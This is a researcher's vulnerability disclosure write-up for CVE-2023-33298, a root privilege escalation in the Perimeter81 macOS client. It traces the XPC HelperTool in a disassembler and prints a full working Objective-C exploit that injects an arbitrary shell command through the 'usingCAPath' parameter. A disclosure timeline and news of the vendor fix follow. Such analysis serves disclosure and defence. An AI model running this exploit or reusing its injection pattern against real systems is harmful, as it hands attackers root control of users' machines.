CVE-2023-33298 - Perimeter81 Local Privilege Escalation

Exploiting XPC HelperTool to gain LPE



Posted by NSEcho on 2023-06-30 00:38:03

Table of Contents

Introduction

Today we will be analyzing CVE-2023-33298 which is Local Privilege Escalation inside the Perimeter81 macOS application. We will be exploiting XPC service misconfiguration along with the Command Injection vulnerability to gain root privileges.

Analysis

Perimeter81 adds an entry to LaunchDaemons, and we can examine the content of the com.perimeter81.osx.HelperTool.plist located inside /Library/LaunchDaemons/ directory.

LaunchDaemon plist file

We can see that the key for MachServices is dictionary containing com.perimeter81.osx.HelperTool. This is the name of mach service which is exposed by the com.perimeter81.osx.HelperTool binary.

If we now load /Library/PrivilegedHelperTools/com.perimeter81.osx.HelperTool inside the Hopper and search for xpc_connection_create_mach_service we can confirm that the function is called with com.perimeter81.osx.HelperTool as first argument.

Mach Service Creation

From the image, we can also see that it calls xpc_connection_set_event_handler with &var_40. We can read documentation and conlude that the structure contains isa pointer (which type of block is this), followed by two ints(flags and reserved) and finally void (*invoke)(void *, ...); function pointer which points to the actualy compiled block body.

Inside the disassembly, we can see that *(&var_40 + 0x10) = sub_1002169d7; points to sub_1002169d7. Let’s now examine this function.

Main connection handler

Inside the else we can see another call to xpc_connection_set_event_handler with the block that has invoke pointer set to sub_100216a98. Double clicking on this sub shows the following code.

Peer connection handler

Based on this function we can conclude the following:

  • We need to send the dictionary
  • type inside the dictionary needs to be rpc or helper_tool_rpc.
  • Function sub_100216d6c is called in multiple branches so we will check what that is
  • We can also see that we have a line r12 = xpc_dictionary_get_string(r13, "rpc"); followed by the check whether r12 is equal to start_connection so we can conclude that the key rpc will contain some kind of function what to do.

Inspecting the sub_100216d6c function shows that it calls -[SDHelperTool handleTargetServiceCommand:withRequest:withReply:].

HandleTargetService

Since this method is a bit bigger, we will show only the beginning and the end of the function which are interesting.

Check for target service

We can see that it tries to extract the parameters and target_service keys. If target_service is NULL, it jumps to loc_10020a119.

Creation of generalInvoker selector

We can see that it saves @selector(generalInvoker) inside the rax register and then jumps back to loc_10020a1c0. loc_10020a1c0 just calls handleXPCServiceCommand:withParameters:withReply.

Calling handleXPCServiceCommand

If we search for “generalInvoker” in Hopper we can see that we have a match for -[SDHelperTool setup_GeneralInvoker] which allocates new object of class SDHelperTool_InvokerGeneral.

setup_GeneralInvoker

Searching for DHelperTool_InvokerGeneral reveals a lot of methods. After digging around a bit, I have found install_SDP_CA:withReply: which calls security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain %@ with the value from dictionary under the key usingCAPath. This is typical command injection where we can simply append ; followed by the command we want to execute.

Searching for DHelperTool_InvokerGeneral

install_SDP_CA method

So to recap, our exploit should do the following:

  • call xpc_connection_create_mach_service with com.perimeter81.osx.HelperTool as a name
  • create a dictionary for properties with the key usingCAPath and value as ; some command to run as root
  • create another dictionary that will be our message with type as helper_tool_rpc, rpc as install_SDP_CA, and key parameters set to the previous dictionary
  • send the message

Full exploit

Full exploit looks like the following:

#import <Foundation/Foundation.h>

#define NAME "com.perimeter81.osx.HelperTool"

int main(int argc, const char **argv) {
    if (argc != 2) {
        printf("missing cmd to execute\n");
        exit(1);
    }

    xpc_connection_t conn = xpc_connection_create_mach_service(NAME, NULL, 0);
    xpc_connection_set_event_handler(conn, ^(xpc_object_t object){
        NSLog(@"client received event: %s", xpc_copy_description(object));
    });
    xpc_connection_resume(conn);

    const char *c = argv[1];

    char cmd[250];
    sprintf(cmd, "; %s", c);

    // create dictionary to hold our parameters
    // method name and its parameters
    xpc_object_t params = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_string(params, "usingCAPath", cmd);

    // create dictionary to send over xpc
    xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_string(message, "type", "helper_tool_rpc");
    xpc_dictionary_set_string(message, "rpc", "install_SDP_CA");
    xpc_dictionary_set_value(message, "parameters", params);

    xpc_connection_send_message_with_reply(conn, message, dispatch_get_main_queue(), ^(xpc_object_t object){
        NSLog(@"Executed cmd: \"%s\"\n", c);
    });


    // create run loop so we can get async result for our command, otherwise the exploit would exit after sending the 
    // message
    dispatch_main();

    return 0;
}

Running the exploit

Timeline

Date Action
17 March 2023 Sent report to Perimeter81
21th March 2023 Asked for an update, no reply
10th April 2023 Asked for an update once more, got response that it was wrongly sidetracked
19th April 2023 Sent mail to see whether they have investigated it and working on it
10th May 2023 Another mail and got no response
16th May 2023 Contacted VINCE to coordinate disclosure

VINCE tried to contact them multiple times without success, so after more than three months I have decided to disclose the vulnerability.

Update

Perimeter81 released fix for this in the version 10.1.2.318 on the 25th of July.